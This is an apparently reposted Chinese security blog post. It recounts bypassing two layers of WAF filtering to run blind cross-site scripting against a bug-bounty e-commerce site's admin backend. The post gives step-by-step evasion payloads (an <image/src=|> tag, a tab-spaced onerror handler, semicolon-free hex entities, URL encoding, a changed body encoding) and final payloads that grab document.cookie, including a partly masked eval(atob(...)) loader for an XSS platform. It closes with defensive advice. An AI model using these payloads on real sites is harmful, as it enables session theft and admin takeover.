IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 第23篇:XSS绕过防护盲打某SRC官网后台 -> 正文阅读

[网络协议]第23篇:XSS绕过防护盲打某SRC官网后台

640250b74adb0b59f1a47f9bbddd247a.png

?Part1 前言?

已经N年没挖SRC了,前几年曾有一段时间对XSS漏洞挖掘特别热衷,像反射型XSS、存储型XSS、DOM型XSS等挖得很上瘾,记下了很多笔记。遗憾的是多数平台都不愿意接收XSS漏洞,哪怕是存储型XSS漏洞给的评分都很低,因为XSS不能造成直接危害,利用起来有困难。所以当时花费了2天的时间,绕过各种防护及过滤,盲打到了一个SRC电商官网的后台。正好公众号文章写到现在,也缺少一篇讲解XSS漏洞的文章,这次就分享这个XSS拿权限的实战案例吧

注:鉴别于好多朋友之前写文章,引用真实报告的截图而忘记打码,出过好几次事故。所以ABC_123写文章的原则是,一概不贴真实截图,只贴虚拟机环境的图,还望大家谅解。

后期会专门出一期讲解DOM型XSS漏洞挖掘的文章,欢迎大家关注公众号。

?Part2 技术研究过程?

?1??选择一个合适的Payload

对于挖掘XSS漏洞,我的经验是第一步就是要选择一个合适的Payload进行试验,然后逐步绕过各种防护。举个例子,你是首先选择<script>alert(1)</script>,还是选择<img src=1 οnerrοr=alert(1)>去开展XSS绕过工作呢?有朋友是用一大堆的payload做成XSS字典去FUZZ测试,这种方法高效快速,但是缺点是只能测试反射型XSS,然后工具自带的payload都是网上公开的,早就被各种WAF设备给分析过了,被拦截的可能性很大。

?2??选择<image>标签绕过

对于<script>这种的payload,如果不是变形的,基本上现在随便一个WAF设备都能准确识别了,存活的可能性比较低。对于<img src=1 οnerrοr=alert(1)>这个payload还有一些希望,但是alert关键字太明显,直接提交也是不行的。

于是将测试payload精简一下,变成如下格式<img src=1>提交还是被拦截。

那么就再精简一下,直接提交一个<img>,发现还是被拦截,至此我们知道,<img>标签完全被干掉了。

<img>标签不行,那么换一个<image>标签提交一下,发现没有被拦截,那么我们就选择<image>标签来开展XSS绕过工作吧。

?3??对于src=附近的拦截绕过

经过探测<image src=> 中间只要有空格、TAB键都会被拦截,所以换成这种形式<image/src=>,用/这个符号替代空格。

接下来看=号的左右两边,程序又做了判断,src=的右边只要是数字、字母啥的,就会被拦截。经过测试,发现src=右边是可以接特殊字符串的,所以语句变成如下格式<image/src=|>注:这个是特殊字符竖杠,不是字母或者数字),这样就绕过了防护。如下图所示,网页中出现了一个图片报错,说明上述payload被正常解析了,绕过了防护。

946616a7af390bb3d82c56b36230f1a3.png

?4??对于事件属性附近的拦截绕过

接下来为了能够利用XSS漏洞拿到权限,就必须想办法让上述XSS攻击代码能够加载远程js文件,以备实现获取Cookie、添加管理员账号等功能。

所以只有<image/src=|>这个payload是不行的,还需要进一步绕过防护。

为了加载js链接地址执行js代码,一般可以借助事件属性加载,比如说添加鼠标点击事件、鼠标滑过事件等。这里我们选择一个onerror事件,于是将payload进一步变成<img/src=| οnerrοr=alert(111)>

οnerrοr=alert(111)这部分绕起来很难,经过一系列测试,发现在=号左右两边加上TAB键,变成如下格式onerror = alert(111)可以绕过=附近的拦截,但是alert(111) 这个部分还是会被拦截,怎么办呢?我想到了借助javascript:伪协议,因为javascript:这部分可以接各种编码,之后测试的payload变成如下格式<images/src=| onerror = javascript:alert(111)>

接下来将javascript:alert(111) 编码成16进制格式:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x31;&#x31;&#x29;

结果发现被拦截,到这一步还被拦截,基本上就难办了。但是经过测试,发现它只是拦截了;这个特殊字符。至于为什么会拦截;呢,我想它的本意不是为了拦截XSS,是为了拦截多语句的SQL注入的分号。

但是幸运的是,上述16进制编码的payload语句,把;去掉,一样是可以触发漏洞的,分号可有可无。

于是上述16进制的payload就变成了如下格式:

&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x31&#x31&#x29

组合起来最终的弹窗完整的payload是如下形式:

<image/src=| onerror = &#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x31&#x31&#x29>

直接用burpsuite抓包提交是不行的,因为&会与POST请求数据包中的&分割符重复,这个好解决,可以对payload进行URL编码一样吧。

38eaceee4cee3375c17b6f094f786b4a.png

URL编码后的payload大致如下所示:

<image/src=| onerror = %26%23%78%36%61%26%23%78%36%31%26%23%78%37%36%26%23%78%36%31%26%23%78%37%33%26%23%78%36%33%26%23%78%37%32%26%23%78%36%39%26%23%78%37%30%26%23%78%37%34%26%23%78%33%61%26%23%78%36%31%26%23%78%36%63%26%23%78%36%35%26%23%78%37%32%26%23%78%37%34%26%23%78%32%38%26%23%78%33%31%26%23%78%33%31%26%23%78%33%31%26%23%78%32%39>

9e79f096c186fc80544b13f6a0b9448f.png

?5??Change Body?encoding绕过第2道防护

提交之后,发现它有两道防护,因为到这一步没有原先的403错误提示了,直接是超时等待了一段时间,说明我们刚才的不懈努力只是绕过了第1道防护,而第2道防护没有绕过去,到这里我已经快放弃了。。。最终经过测试,发现使用burpsuite的“change body encoding”把POST数据包格式改一下即可绕过第2道防护

85241467de23f58e38d90caf1c53c799.png

最终将如下格式数据包编码后提交,<image/src=| onerror = javascript:alert(document.cookie)>

最终本地绕过2道防护,可以弹出Cookie了(以下截图为本地虚拟机环境截图,原图敏感,就不放出来了)

f7f4192dc2ca223a018c77f6def59b01.png

?6??XSS盲打平台

接下来就是找XSS盲打平台了,建议大家自己从网上找一个别人搭建好的XSS盲打平台测试吧,因为自己搭建XSS平台,还得买域名、还怕泄露真实身份信息,而且网上的PHP的XSS平台代码也有不少坑,有时候wamp能搭建成功,phpstudy就搭建不成功。

eb58cdf9954fabe84701611f8c64ef4f.png

最终看了一下XSS平台给出的payload语句,结合javascript为协议,组合成可真正获取Cookie的测试payload如下:

<image/src=| onerror = javascript:eval(atob('cz1jxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxhbmRvbSgp'))>

编码成16进制格式如下:

9026bc9f478e4d3b71f166f014ccf39e.png

上图为虚拟机测试图,到这一步呢,我才发现,原来这个src官网,防xss是这样防范的,假设官网的管理员后台地址是https://admin.xxx.src.com.cn。我本地打开这个后台地址,发现这个官网后台限制了只有内网ip才能登陆!到这一步,我才惊讶地发现,原来这样可以防止XSS盲打Cookie的攻击,它直接限制管理员后台的登陆,打到Cookie也没用!难道我们就没有办法了吗?经过一系列查找资料,还是有办法解决的,使用XSS隧道,或者XSS代理。

facb3c002be7f22db9378fbbf5a35a58.png

?7??XSS 隧道代理

这个工具大概暂时只是概念性质的,我当时测试的效果是非常不好用。因为本地搭建环境测试,一旦我这边挂上XSS代理,受害者那边的浏览器就会卡死,一旦受害者关闭浏览器,代理也随之失效。到目前还没有找到一个靠谱的XSS Proxy代理工具,所以这是一种解决方案,但是没法用于实战,不知道现在网上有没有出新的靠谱的工具。

8532be82f09ce4b5e1be91062e155869.png

至此,一条曲折的XSS实战利用道路就完成了,收获不少。

?Part3 总结?

1.? 防止XSS盲打,可以禁止管理员后台的外网登录,限制仅内网可以登录。这样一来即使攻击者通过XSS拿到有效Cookie,也没法用于后台的登录。记得设置HttpOnly属性。

2.? 对于XSS 代理或者XSS隧道,如果大家有稳定靠谱的工具,能用于实战的,还希望推荐一下。

e8fecca5d338eac31386fdd1b26ff86b.png

专注于网络安全技术分享,包括红队、蓝队、日常渗透测试、安全体系建设等

每周一篇,99%原创,敬请关注

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-09-24 21:27:49  更:2022-09-24 21:29:13 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 20:35:27-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码